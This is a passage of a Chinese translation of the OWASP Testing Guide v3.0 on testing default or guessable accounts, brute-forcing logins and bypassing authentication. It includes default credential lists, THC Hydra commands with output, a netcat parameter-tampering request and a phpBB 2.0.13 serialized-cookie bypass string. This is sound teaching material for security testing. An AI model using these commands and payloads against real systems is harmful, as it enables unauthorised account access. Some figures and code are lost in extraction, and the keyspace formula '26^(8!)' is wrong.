4.4.3 默 认 或 可 猜 解 ( 遍 历 ) 用 户 帐 户 (OWASP-AT-003)<br />

概 述<br />

今 天 的 Web 应 用 程 序 通 常 在 流 行 的 开 源 软 件 或 商 业 软 件 下 运 行 , 而 这 些 软 件 安 装 在 服 务 器 上 并 需 要 配 置 , 或 是 由<br />

服 务 器 管 理 员 定 制 的 。 此 外 , 目 前 大 多 数 硬 件 设 备 , 即 网 络 路 由 器 和 数 据 库 服 务 器 , 提 供 基 于 网 络 的 配 置 或 管 理 接<br />

口 。<br />

通 常 , 这 些 应 用 并 没 有 正 确 配 置 好 , 并 且 为 原 始 认 证 和 配 置 所 提 供 的 默 认 证 书 根 本 就 没 有 跟 新 。 此 外 , 通 常 测 试 或<br />

管 理 留 下 来 的 一 般 的 账 号 都 使 用 普 通 的 用 户 名 和 密 码 , 并 被 保 留 在 应 用 和 架 构 中 。<br />

而 渗 透 测 试 者 和 恶 意 攻 击 者 通 常 都 知 道 这 些 默 认 用 户 名 和 密 码 组 合 , 他 们 能 使 用 这 些 信 息 进 入 不 同 类 型 的 定 制 的 ,<br />

开 源 的 或 商 业 的 应 用 程 序 中 。<br />

同 时 , 在 许 多 应 用 中 出 现 的 弱 口 令 政 策 的 实 施 允 许 用 户 使 用 容 易 猜 到 的 用 户 名 和 密 码 注 册 , 并 可 能 不 允 许 修 改 密<br />

码 。<br />

问 题 描 述<br />

这 个 问 题 的 根 源 可 以 被 确 定 为 :<br />

• 没 有 经 验 的 IT 人 员 没 有 意 识 到 在 所 安 装 的 架 构 组 件 上 改 变 默 认 密 码 的 重 要 性 。<br />

• 程 序 员 为 了 方 便 访 问 和 测 试 应 用 而 留 下 后 门 , 后 来 却 忘 记 将 其 删 除 。<br />

• 应 用 管 理 员 和 用 户 自 己 选 择 简 单 的 用 户 名 和 密 码 。<br />

• 含 有 内 置 的 不 可 转 移 的 默 认 帐 户 的 应 用 使 用 了 预 设 的 用 户 名 和 密 码 。<br />

• 在 认 证 尝 试 , 密 码 重 置 或 账 户 注 册 时 应 用 程 序 为 了 验 证 用 户 名 而 泄 露 了 信 息 。<br />

另 外 一 个 问 题 根 源 在 于 由 于 缺 乏 安 全 意 识 或 想 简 化 管 理 而 使 用 空 白 密 码 。<br />

黑 盒 测 试 实 例<br />

在 黑 盒 测 试 中 , 测 试 者 对 应 用 , 应 用 基 础 构 架 和 任 何 的 用 户 名 或 密 码 政 策 没 有 任 何 了 解 。 而 在 现 实 情 况 中 他 们 却 通 常<br />

知 道 一 些 关 于 应 用 的 信 息 。 如 果 是 这 样 , 你 可 以 跳 过 涉 及 获 取 已 知 信 息 的 步 骤 。<br />

当 测 试 已 知 应 用 程 序 界 面 , 例 如 Cisco 路 由 器 网 络 接 口 或 Weblogic 管 理 员 端 口 , 需 要 检 测 这 些 设 备 的 普 通 用 户 名 和<br />

密 码 不 会 导 致 成 功 认 证 。 使 用 搜 索 引 擎 或 使 用 在 Further Reading 章 节 中 所 列 的 网 址 , 能 找 到 许 多 系 统 的 普 通 证 书 。<br />

当 我 们 没 有 应 用 的 默 认 和 普 通 用 户 账 号 列 表 时 , 或 当 普 通 账 户 不 响 应 时 , 我 们 可 以 采 取 手 动 测 试 :<br />

124


OWASP 测 试 指 南 v3.0<br />

请 注 意 , 正 在 测 试 的 应 用 程 序 可 能 有 账 户 锁 定 功 能 。 如 果 多 次 猜 测 一 个 已 知 账 号 的 密 码 可 能 会 导 致 账 号 被 锁 定 , 如<br />

果 应 用 程 序 可 能 锁 定 管 理 员 账 号 , 那 幺 系 统 管 理 员 要 重 新 设 置 账 户 很 麻 烦 。<br />

许 多 应 用 程 序 包 含 详 细 错 误 信 息 , 会 通 知 网 站 用 户 所 输 入 用 户 名 的 有 效 性 。 这 一 信 息 将 有 助 于 测 试 默 认 或 可 猜 测 的<br />

用 户 帐 户 。 例 如 , 在 登 录 页 , 密 码 重 置 和 忘 记 密 码 页 面 , 注 册 页 面 可 以 找 到 这 种 功 能 。 更 多 信 息 请 查 看 “ 用 户 枚 举<br />

测 试 ” 章 节 。<br />

• 尝 试 使 用 下 面 的 用 户 名 ——"admin", "administrator", "root", "system", "guest", "operator", or "super"。 系 统 管<br />

理 员 很 喜 欢 使 用 这 些 用 户 名 。 或 者 你 可 以 试 用 "qa", "test", "test1", "testing" 等 相 似 的 名 称 。 你 可 以 使 用 上 述<br />

名 称 的 各 种 组 合 试 验 用 户 名 和 密 码 。 如 果 应 用 对 用 户 名 列 举 存 在 漏 洞 , 你 就 能 成 功 确 定 上 述 用 户 名 是 否 存<br />

在 , 也 可 以 用 相 似 的 方 法 试 验 密 码 是 否 准 确 。 同 时 , 可 以 对 上 述 账 户 名 或 其 它 列 举 的 账 户 尝 试 使 用 空 密 码<br />

或 下 列 密 码 :"password", "pass123", "password123", "admin", or "guest"。 也 可 以 试 着 调 整 上 述 密 码 顺 序 。 如<br />

果 这 些 密 码 不 正 确 , 可 以 列 出 一 个 普 通 用 户 名 和 密 码 清 单 , 以 便 对 应 用 程 序 发 送 多 个 验 证 请 求 。 当 然 , 为<br />

了 节 约 时 间 , 你 可 以 使 用 脚 本 进 行 这 一 操 作 。<br />

• 应 用 的 管 理 员 用 户 通 常 是 以 应 用 程 序 或 公 司 名 称 命 名 的 。 也 就 是 说 如 果 你 测 试 的 应 用 名 称 是<br />

“Obscurity”, 那 幺 可 以 试 着 使 用 obscurity/obscurity 或 者 其 它 类 似 组 合 作 为 用 户 名 和 密 码 。<br />

• 当 为 客 户 进 行 测 试 时 , 使 用 你 收 到 的 联 系 人 姓 名 作 为 用 户 名 , 并 试 用 任 何 普 通 密 码 。<br />

• 查 看 该 应 用 的 用 户 注 册 网 页 可 能 会 帮 助 你 判 断 应 用 程 序 用 户 名 和 密 码 的 预 期 格 式 和 长 度 。 如 果 该 网 站 不 存<br />

在 用 户 注 册 网 页 , 则 需 要 确 定 该 公 司 是 否 对 用 户 名 使 用 标 准 的 命 名 机 制 , 例 如 使 用 邮 件 名 或 邮 件 @ 前 的 用<br />

户 名 。<br />

• 对 上 述 所 有 的 用 户 名 尝 试 使 用 空 白 密 码 。<br />

• 通 过 代 理 服 务 器 或 查 看 源 代 码 检 查 页 面 来 源 和 JavaScript。 并 在 页 面 资 源 中 查 找 任 何 用 户 名 和 密 码 的 参 考 信<br />

息 。 例 如 , “If username='admin' then starturl=/admin.asp else /index.asp ” ( 成 功 登 录 与 失 败 登 录 ) 。 此<br />

外 , 如 果 您 有 一 个 有 效 的 帐 户 , 通 过 使 用 有 效 登 录 和 无 效 登 录 查 看 每 一 个 请 求 和 响 应 , 如 额 外 的 隐 藏 参<br />

数 , 有 趣 的 GET 请 求 (login=yes) 等<br />

• 查 看 源 代 码 中 写 在 评 论 中 的 帐 户 名 和 密 码 。 同 时 也 查 看 源 代 码 的 备 份 目 录 等 , 有 可 能 能 够 发 现 有 兴 趣 的 评<br />

论 。<br />

• 试 图 从 应 用 本 身 推 断 出 用 户 名 是 如 何 产 生 的 。 例 如 , 用 户 能 否 创 建 自 己 的 用 户 名 ? 系 统 给 用 户 创 建 的 用 户<br />

名 是 按 照 个 人 信 息 还 是 可 预 测 的 序 号 呢 ? 如 果 应 用 程 序 确 实 是 按 照 可 预 测 的 序 列 号 创 建 自 己 的 账 户 , 例<br />

如 :user7811 , 那 幺 可 以 按 顺 序 尝 试 所 有 可 能 的 账 号 。 在 使 用 有 效 用 户 名 和 无 效 密 码 时 , 如 果 能 从 应 用 程<br />

序 中 得 知 不 同 的 回 应 , 就 能 对 有 效 用 户 名 进 行 暴 力 破 解 攻 击 ( 或 快 速 试 用 上 述 或 参 考 章 节 中 已 确 认 的 普 通<br />

密 码 ) 。<br />

• 如 果 应 用 程 序 为 新 用 户 创 建 自 己 的 密 码 , 不 管 用 户 名 是 由 应 用 程 序 还 是 用 户 本 身 创 建 , 可 以 试 着 去 查 看 密<br />

码 是 否 可 以 猜 测 出 来 。 也 可 以 试 着 按 顺 序 创 建 很 多 新 账 户 来 比 较 和 确 定 密 码 是 否 是 可 预 测 的 。 如 果 密 码 是<br />

可 预 测 的 , 则 用 与 用 户 名 相 关 联 的 或 其 它 列 举 账 号 作 为 暴 力 破 解 攻 击 的 基 础 。<br />

125


预 期 结 果 :<br />

对 所 测 试 的 应 用 或 系 统 进 行 成 功 验 证 。<br />

灰 盒 测 试 实 例<br />

下 面 的 步 骤 是 完 全 依 靠 灰 盒 测 试 的 方 法 。 如 果 你 只 能 得 到 部 分 信 息 , 请 参 阅 黑 箱 测 试 , 以 填 补 空 白 。<br />

• 与 技 术 人 员 确 定 他 们 管 理 入 口 所 使 用 的 密 码 , 以 及 如 何 进 行 应 用 管 理 。<br />

• 检 查 应 用 程 序 的 密 码 政 策 , 并 确 认 用 户 名 和 密 码 是 否 很 复 杂 且 难 以 猜 测 , 是 否 与 应 用 程 序 名 称 , 个 人 姓<br />

名 , 或 管 理 名 称 ( “ 系 统 名 称 ” ) 有 关 。<br />

• 使 用 默 认 名 称 , 应 用 程 序 名 称 和 黑 盒 测 试 部 分 所 提 到 的 易 猜 测 的 用 户 名 检 查 用 户 数 据 库 。 同 时 使 用 空 密 码<br />

检 查 。<br />

• 检 查 写 在 代 码 中 的 用 户 名 和 密 码 。<br />

• 检 查 包 含 用 户 名 和 密 码 的 配 置 文 件 。<br />

预 期 结 果<br />

对 所 测 试 的 应 用 或 系 统 进 行 成 功 验 证 。<br />

参 考<br />

白 皮 书<br />

• CIRT http://www.cirt.net/passwords<br />

• Government Security - Default Logins and Passwords for Networked Devices<br />

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php<br />

工 具<br />

• Virus.org http://www.virus.org/default-password/<br />

• Burp Intruder: http://portswigger.net/intruder/<br />

• THC Hydra: http://www.thc.org/thc-hydra/<br />

• Brutus http://www.hoobie.net/brutus/<br />

126


OWASP 测 试 指 南 v3.0<br />

4.4.4 暴 力 破 解 测 试 (OWASP-AT-004)<br />

概 述<br />

暴 力 破 解 包 括 系 统 性 地 列 举 所 有 可 能 的 方 案 , 并 检 查 是 否 每 个 方 案 符 合 所 描 述 的 问 题 。 在 Web 应 用 测 试 中 , 我 们<br />

常 常 面 对 的 问 题 通 常 是 需 要 一 个 有 效 账 户 进 入 应 用 的 内 部 。 因 此 , 我 们 要 检 查 不 同 类 型 的 身 份 验 证 模 式 和 不 同 暴 力<br />

破 解 攻 击 的 效 果 。<br />

问 题 描 述<br />

大 多 数 Web 应 用 程 序 提 供 了 一 个 让 用 户 验 证 自 己 的 方 法 。 了 解 用 户 的 身 份 就 能 创 建 保 护 区 域 , 更 普 遍 的 做 法 是 使<br />

应 用 对 不 同 用 户 的 登 录 回 应 不 同 的 结 果 。 用 户 可 以 使 用 多 种 方 法 通 过 系 统 的 验 证 , 例 如 证 书 , 生 物 识 别 装 置 ,<br />

OTP( 一 次 性 密 码 ) 的 凭 证 等 。 但 是 在 web 应 用 中 我 们 通 常 使 用 用 户 ID 和 密 码 组 合 。 因 此 , 通 过 列 举 许 多 ( 例 如 字 典<br />

攻 击 ) 或 所 有 可 能 的 用 户 名 进 行 攻 击 , 就 能 得 到 有 效 用 户 名 和 密 码 。<br />

暴 力 破 解 攻 击 成 功 后 , 恶 意 用 户 可 以 访 问 :<br />

• 机 密 资 料 / 数 据 ;<br />

o<br />

Web 应 用 程 序 的 非 公 开 部 分 可 能 泄 露 机 密 文 件 , 用 户 的 个 人 资 料 数 据 , 财 务 状 况 , 银 行 的 详 细 资<br />

料 , 用 户 的 关 系 , 等 等 。<br />

• 管 理 面 板 ;<br />

o<br />

网 站 管 理 员 通 常 使 用 这 些 管 理 面 板 管 理 ( 修 改 , 删 除 , 添 加 ) Web 应 用 程 序 的 内 容 , 管 理 用 户 设<br />

置 , 指 定 不 同 的 权 限 的 用 户 等 。<br />

• 提 供 进 一 步 的 攻 击 向 量 ;<br />

o Web 应 用 程 序 非 公 开 部 分 可 能 隐 藏 危 险 的 漏 洞 并 包 含 不 提 供 给 大 众 用 户 的 先 进 的 功 能 。<br />

黑 盒 测 试 实 例<br />

因 为 所 使 用 的 技 术 和 工 具 会 根 据 情 况 各 异 , 所 以 发 现 应 用 所 使 用 的 认 证 类 型 对 采 用 不 同 的 暴 力 破 解 攻 击 起 着 至 关 重<br />

要 的 作 用 。<br />

发 现 验 证 方 法<br />

如 果 一 个 实 体 决 定 使 用 一 个 复 杂 的 网 络 身 份 验 证 , 下 面 是 两 个 最 常 见 的 方 法 :<br />

• HTTP 认 证<br />

127


o<br />

o<br />

basic 接 入 认 证<br />

digest 接 入 认 证<br />

• HTML 表 单 的 身 份 验 证<br />

以 下 各 节 提 供 了 一 些 很 好 的 资 料 用 以 在 黑 盒 测 试 中 确 定 使 用 的 验 证 机 制 。<br />

HTTP 认 证<br />

可 以 给 各 组 织 机 构 提 供 两 个 基 本 的 HTTP 访 问 验 证 计 划 ——basic 和 digest。<br />

• basic 接 入 认 证<br />

basic 接 入 认 证 假 设 客 户 使 用 登 录 名 ( 如 “ owasp ” ) 和 密 码 ( 如 “password” ) 确 定 自 己 身 份 。 当 客 户 端 浏 览 器 开 始<br />

进 入 使 用 这 种 机 制 的 网 站 时 ,web 服 务 器 将 回 复 401 结 果 , 包 含 “WWW-Authenticate“ 标 签 ,“Basic” 值 和 受 保 护<br />

范 围 的 名 称 ( 例 如 : WWW-Authenticate: Basic realm="wwwProtectedSite”)。 客 户 端 浏 览 器 就 会 返 回 给 web 服 务 器 一<br />

个 “Authorization” 标 签 , 包 含 “Basic” 值 和 用 户 名 的 base64 编 码 , 冒 号 和 密 码 ( 例 如 : Authorization: Basic<br />

b3dhc3A6cGFzc3dvcmQ=)。 但 是 如 果 攻 击 者 嗅 探 到 通 讯 包 , 认 证 回 复 很 容 易 就 能 被 解 码 。<br />

请 求 和 回 应 测 试 :<br />

1. 客 户 端 发 送 标 准 的 HTTP 资 源 请 求 :<br />

GET /members/docs/file.pdf HTTP/1.1<br />

Host: target<br />

2. Web 服 务 器 回 应 说 所 要 求 的 资 源 位 于 一 个 受 保 护 的 目 录 。<br />

3. 服 务 器 用 HTTP 401 需 要 授 权 发 送 响 应 :<br />

HTTP/1.1 401 Authorization Required<br />

Date: Sat, 04 Nov 2006 12:52:40 GMT<br />

WWW-Authenticate: Basic realm="User Realm"<br />

Content-Length: 401<br />

Keep-Alive: timeout=15, max=100<br />

Connection: Keep-Alive<br />

Content-Type: text/html; charset=iso-8859-1<br />

4 . 浏 览 器 显 示 用 户 名 和 密 码 数 据 输 入 弹 出 框 。<br />

5 . 客 户 端 使 用 下 面 证 书 重 新 提 交 HTTP 请 求 :<br />

GET /members/docs/file.pdf HTTP/1.1<br />

Host: target<br />

128


OWASP 测 试 指 南 v3.0<br />

Authorization: Basic b3dhc3A6cGFzc3dvcmQ=<br />

6 . 服 务 器 将 客 户 资 料 与 证 书 列 表 比 对 。<br />

7. 如 果 证 书 是 有 效 的 , 服 务 器 将 发 送 所 要 求 的 内 容 。 如 果 认 证 失 败 , 服 务 器 在 回 应 头 中 重 新 发 送 HTTP 状 态 码 401。<br />

如 果 用 户 点 击 取 消 , 浏 览 器 可 能 会 显 示 一 条 错 误 消 息 。<br />

如 果 攻 击 者 能 够 从 第 五 步 开 始 拦 截 请 求 , 下 面 字 符 串 。<br />

b3dhc3A6cGFzc3dvcmQ=<br />

可 能 简 单 进 行 base64 解 码 , 如 下 ( 进 行 Base64 解 码 ) :<br />

owasp:password<br />

• Digest 接 入 认 证<br />

Digest 接 入 认 证 是 basic 接 入 认 证 的 延 伸 。 它 使 用 单 向 散 列 加 密 算 法 ( MD5 编 码 ) 来 加 密 和 验 证 数 据 , 并 增 加 了 一<br />

个 由 web 服 务 器 设 置 的 单 次 使 用 ( 应 用 于 单 次 连 接 ) 的 “nonce” 值 。 客 户 端 浏 览 器 用 这 个 值 计 算 回 应 的 哈 希 密 码 。<br />

尽 管 密 码 使 用 加 密 散 列 隐 藏 起 来 , 同 时 使 用 nonce 值 能 阻 止 重 放 攻 击 的 危 险 , 但 是 登 录 名 是 用 明 文 提 交 的 。<br />

请 求 和 响 应 测 试 :<br />

1 . 下 面 例 子 是 提 交 HTTP Digest 目 标 时 的 最 初 的 反 应 报 头 信 息 :<br />

HTTP/1.1 401 Unauthorized<br />

WWW-Authenticate: Digest realm="OwaspSample",<br />

nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",<br />

opaque="0000000000000000", \<br />

stale=false,<br />

algorithm=MD5,<br />

qop="auth"<br />

2. 随 后 的 有 效 证 书 的 响 应 报 头 如 下 :<br />

GET /example/owasp/test.asmx HTTP/1.1<br />

Accept: */*<br />

Authorization: Digest username="owasp",<br />

realm="OwaspSample",<br />

qop="auth",<br />

algorithm="MD5",<br />

uri="/example/owasp/test.asmx",<br />

nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",<br />

nc=00000001,<br />

cnonce="c51b5139556f939768f770dab8e5277a",<br />

opaque="0000000000000000",<br />

129


esponse="2275a9ca7b2dadf252afc79923cd3823"<br />

HTML 表 单 式 验 证<br />

然 而 , 尽 管 这 两 个 HTTP 访 问 验 证 计 划 可 能 会 适 合 互 联 网 的 商 业 用 途 , 尤 其 是 当 使 用 SSL 加 密 会 话 , 许 多 机 构 还 是<br />

选 择 了 使 用 自 定 义 的 HTML 和 应 用 层 次 的 认 证 程 序 , 以 提 供 一 个 更 复 杂 的 认 证 程 序 。<br />

从 HTML 表 单 得 到 的 源 代 码 :<br />

<br />

<br />

<br />

<br />

暴 力 破 解 攻 击<br />

列 出 了 web 应 用 程 序 的 不 同 类 型 的 身 份 验 证 方 法 之 后 , 我 们 将 解 释 几 种 暴 力 破 解 攻 击 。<br />

• 遍 历 攻 击<br />

遍 历 攻 击 包 括 自 动 脚 本 和 工 具 , 能 从 字 典 文 件 中 尝 试 猜 测 用 户 名 和 密 码 。 对 字 典 文 件 调 整 和 编 制 可 以 使 其 包 含 所 有<br />

账 号 用 户 所 使 用 的 字 词 。 而 这 正 是 攻 击 者 攻 击 的 目 标 。 攻 击 者 可 以 收 集 信 息 ( 通 过 主 动 / 被 动 侦 察 , 竞 争 情 报 , 垃 圾<br />

搜 寻 , 社 会 工 程 学 ) 从 而 了 解 用 户 或 建 立 一 个 网 站 公 布 的 独 特 词 汇 名 单 。<br />

• 搜 索 攻 击<br />

搜 索 攻 击 尽 可 能 包 括 所 有 已 知 字 符 集 和 已 知 密 码 长 度 范 围 的 可 能 组 合 。 由 于 可 能 用 户 所 占 空 间 非 常 大 , 导 致 这 种 攻<br />

击 是 非 常 缓 慢 的 。 例 如 , 已 知 一 个 用 户 ID, 需 要 尝 试 的 密 码 长 度 是 8 个 字 符 , 那 幺 小 写 字 母 的 组 合 就 达 26 ^<br />

(8!)( 超 过 二 千 亿 个 可 能 密 码 !) 。<br />

• 基 于 规 则 的 搜 索 攻 击<br />

为 了 增 加 组 合 的 空 间 覆 盖 范 围 同 时 不 会 造 成 进 程 速 度 太 慢 , 我 们 建 议 创 造 良 好 规 则 产 生 用 户 候 选 人 。 例 如 , “John<br />

the Ripper” 能 够 从 用 户 名 部 分 产 生 密 码 变 化 或 修 改 输 入 中 的 预 先 配 置 的 遮 盖 字 符 ( 例 如 , 第 一 轮 "pen" --> 第 二 轮<br />

"p3n" --> 第 三 轮 "p3np3n") 。<br />

暴 力 破 解 HTTP 基 本 验 证<br />

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/<br />

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />

Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17<br />

[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />

[DATA] attacking service http-head on port 80<br />

[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h<br />

[80][www] host: 10.0.0.1 login: owasp password: password<br />

130


OWASP 测 试 指 南 v3.0<br />

[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />

Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34<br />

raven@blackbox /hydra $<br />

暴 力 破 解 HTML 表 单 认 证<br />

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form<br />

"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &<br />

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.<br />

Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17<br />

[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task<br />

[DATA] attacking service http-post-form on port 443<br />

[STATUS] attack finished for wiki.intranet (waiting for childs to finish)<br />

[443] host: 10.0.0.1 login: owasp password: password<br />

[STATUS] attack finished for www.site.com (waiting for childs to finish)<br />

Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34<br />

raven@blackbox /hydra $<br />

灰 盒 测 试 实 例<br />

部 分 关 于 密 码 和 帐 户 详 细 资 料 的 知 识<br />

当 测 试 者 有 长 度 或 密 码 ( 帐 户 ) 结 构 的 相 关 信 息 时 , 就 能 够 较 高 可 能 地 成 功 执 行 暴 力 破 解 攻 击 。 事 实 上 , 通 过 限 制<br />

字 符 数 和 确 定 密 码 的 长 度 , 密 码 的 总 数 将 显 着 降 低 。<br />

内 存 权 衡 攻 击<br />

131


执 行 内 存 权 衡 攻 击 , 测 试 者 至 少 需 要 先 前 获 得 的 一 个 测 试 的 hash 密 码 , 这 个 密 码 是 通 过 测 试 者 利 用 应 用 的 漏 洞<br />

( 如 SQL 注 入 ) 或 嗅 闻 HTTP 流 量 得 到 的 。 现 在 , 这 类 最 常 见 的 攻 击 都 是 基 于 彩 虹 表 。 彩 虹 表 是 一 种 特 殊 类 型 的 查<br />

找 表 , 它 主 要 用 于 将 单 向 hash 中 产 生 的 密 码 恢 复 成 明 文 密 码 。<br />

彩 虹 表 是 Hellman 的 内 存 权 衡 攻 击 的 优 化 。 在 彩 虹 表 中 , 可 以 使 用 约 简 算 法 创 建 链 , 从 而 可 以 压 缩 由 计 算 所 有 备 选<br />

用 户 所 产 生 的 数 据 输 出 。<br />

各 个 表 专 门 针 对 所 创 建 的 hash 功 能 , 例 如 , MD5 编 码 表 只 能 破 坏 的 MD5 Hash。<br />

后 来 开 发 的 具 有 更 强 大 功 能 的 彩 虹 表 破 坏 计 划 能 够 产 生 和 使 用 彩 虹 表 的 各 种 字 符 集 和 散 列 算 法 , 包 括 LM hash,<br />

MD5 , SHA1 等 。<br />

参 考<br />

白 皮 书<br />

• Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf<br />

• OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/<br />

• Rainbowcrack.com - http://www.rainbowcrack.com/<br />

• Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/<br />

• milw0rm - http://www.milw0rm.com/cracker/list.php<br />

工 具<br />

• THC Hydra: http://www.thc.org/thc-hydra/<br />

• John the Ripper: http://www.openwall.com/john/<br />

• Brutus http://www.hoobie.net/brutus/<br />

132


OWASP 测 试 指 南 v3.0<br />

4.4.5 认 证 模 式 绕 过 测 试 (OWASP-AT-005)<br />

概 要<br />

虽 然 大 多 数 应 用 需 要 验 证 来 获 取 私 人 信 息 或 执 行 任 务 , 但 并 非 所 有 的 验 证 方 法 都 能 够 提 供 足 够 的 安 全 。<br />

通 过 简 单 地 跳 过 登 录 页 面 和 直 接 调 用 一 个 理 应 在 认 证 通 过 后 才 能 访 问 的 内 部 网 页 , 就 可 以 绕 过 认 证 计 划 。 而 这 个 往<br />

往 是 由 于 对 安 全 威 胁 的 疏 忽 , 无 知 或 简 单 认 知 导 致 的 。<br />

此 外 , 常 常 可 以 通 过 篡 改 要 求 和 假 装 通 过 验 证 的 手 法 绕 过 验 证 措 施 。 这 些 可 以 通 过 修 改 URL 参 数 , 操 纵 表 格 和 假 冒<br />

会 话 的 方 法 来 完 成 。<br />

问 题 描 述<br />

与 认 证 模 式 有 关 的 问 题 存 在 于 软 件 开 发 周 期 (SDLC) 中 的 各 个 阶 段 , 如 设 计 阶 段 , 开 发 阶 段 , 部 署 阶 段 。<br />

设 计 阶 段 错 误 的 例 子 包 括 了 对 被 保 护 的 应 用 程 序 部 分 的 错 误 定 义 , 选 择 对 认 证 数 据 交 换 的 安 全 不 采 取 强 加 密 协 议 等<br />

等 。<br />

开 发 阶 段 中 的 问 题 包 括 , 不 准 确 的 输 入 验 证 功 能 , 或 对 特 定 语 言 不 遵 守 最 佳 安 全 习 惯 。<br />

此 外 , 由 于 缺 乏 必 需 的 技 术 技 能 或 由 于 所 得 到 的 文 档 质 量 低 下 , 导 致 在 应 用 程 序 安 装 ( 安 装 和 配 置 活 动 ) 过 程 中 也<br />

会 发 生 问 题 。<br />

黑 盒 测 试 实 例<br />

绕 过 Web 应 用 验 证 架 构 的 方 法 有 :<br />

• 直 接 的 页 面 请 求 ( 强 迫 浏 览 )<br />

• 参 数 修 改<br />

• 参 数 修 正<br />

• 会 话 ID 预 测<br />

• SQL 注 入<br />

直 接 的 页 面 请 求<br />

如 果 一 个 Web 应 用 程 序 只 在 登 录 页 面 实 现 访 问 控 制 , 那 幺 我 们 就 可 以 绕 过 验 证 架 构 。 例 如 , 如 果 用 户 通 过 强 迫 浏 览<br />

直 接 进 入 其 它 的 网 页 , 该 网 页 在 同 意 其 进 入 前 可 能 无 法 检 查 其 证 书 。 你 可 以 通 过 浏 览 器 中 的 地 址 栏 试 图 直 接 访 问 受<br />

保 护 的 网 页 , 来 尝 试 使 用 这 种 方 法 。<br />

133


另 一 个 和 验 证 设 计 有 关 的 问 题 是 什 幺 时 候 应 用 可 以 根 据 一 个 定 值 参 数 证 实 一 个 成 功 的 登 录 。 用 户 可 以 通 过 修 改 这 些<br />

参 数 在 没 有 提 供 有 效 凭 据 的 情 况 下 进 入 被 保 护 的 区 域 。 在 下 面 的 例 子 中 , “authenticated” 参 数 更 改 为 “yes” , 这<br />

使 得 用 户 能 够 进 入 。 在 这 个 例 子 中 , 参 数 存 在 于 网 址 中 , 但 是 同 样 可 以 利 用 代 理 服 务 器 修 改 参 数 , 特 别 是 当 参 数 在<br />

POST 中 以 表 单 元 素 传 递 。<br />

http://www.site.com/page.asp?authenticated=no<br />

raven@blackbox /home $nc www.site.com 80<br />

GET /page.asp?authenticated=yes HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sat, 11 Nov 2006 10:22:44 GMT<br />

Server: Apache<br />

Connection: close<br />

Content-Type: text/html; charset=iso-8859-1<br />

<br />

<br />

<br />

You Are Auhtenticated<br />

<br />

会 话 ID 预 测<br />

134


OWASP 测 试 指 南 v3.0<br />

许 多 Web 应 用 程 序 采 用 会 话 鉴 定 值 ( 会 话 ID ) 管 理 认 证 。 因 此 , 如 果 会 话 ID 的 产 生 是 可 以 预 见 的 , 那 幺 恶 意 用 户<br />

就 能 找 到 一 个 合 法 的 会 话 ID 然 后 可 以 未 被 授 权 地 进 入 应 用 程 序 , 冒 充 原 先 身 份 验 证 的 用 户 。<br />

在 下 面 的 图 中 , 数 值 在 cookies 内 呈 线 性 增 加 , 所 以 攻 击 者 容 易 猜 出 一 个 合 法 的 会 话 ID。<br />

在 下 面 的 图 中 , 数 值 在 cookies 内 部 分 发 生 变 化 , 所 以 下 面 的 显 示 有 可 能 阻 止 对 定 义 的 字 段 的 暴 力 破 解 攻 击 。<br />

SQL 注 入 ( HTML 表 单 认 证 )<br />

SQL 注 入 是 一 种 广 为 人 知 的 攻 击 技 巧 。 我 们 不 会 在 本 节 中 详 细 描 述 这 种 技 术 ; 除 了 本 节 的 范 围 , 在 本 指 南 中 还 有 几 个<br />

章 节 解 释 注 入 技 术 。<br />

135


下 面 的 图 标 表 明 , 通 过 简 单 的 SQL 注 入 有 可 能 绕 过 身 份 验 证 表 格 。<br />

灰 盒 测 试 实 例<br />

如 果 攻 击 者 能 够 利 用 先 前 发 现 的 漏 洞 ( 例 如 目 录 遍 历 ), 或 从 Web 库 ( 开 源 软 件 ) 取 得 应 用 程 序 的 源 代 码 , 它 能<br />

够 对 身 份 验 证 过 程 完 成 改 良 的 攻 击 。<br />

在 下 面 的 例 子 ( PHPBB 2.0.13- 验 证 绕 过 脆 弱 性 ), 在 5 行 unserialize() 参 数 分 析 用 户 提 供 的 Cookie 并 在<br />

$row array 中 进 行 赋 值 。 在 10 行 用 户 的 md5 密 码 参 数 直 接 存 储 在 后 台 数 据 库 。<br />

1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||<br />

2. {<br />

3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?<br />

4.<br />

5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();<br />

6.<br />

7. $sessionmethod = SESSION_METHOD_COOKIE;<br />

8. }<br />

136


OWASP 测 试 指 南 v3.0<br />

9.<br />

10. if( md5($password) == $row['user_password'] && $row['user_active'] )<br />

11.<br />

12. {<br />

13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;<br />

14. }<br />

在 PHP 中 , 字 符 串 和 布 尔 值 (1 - "TRUE") 的 比 较 通 常 为 “TRUE”, 所 以 以 下 字 符 串 ( 重 要 部 分 为 :“b:1”) 极 有 可<br />

能 绕 过 userialize() 参 数 认 证 控 制 :<br />

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}<br />

参 考<br />

白 皮 书<br />

• Mark Roxberry:“PHPBB 2.0.13 脆 弱 性 ”<br />

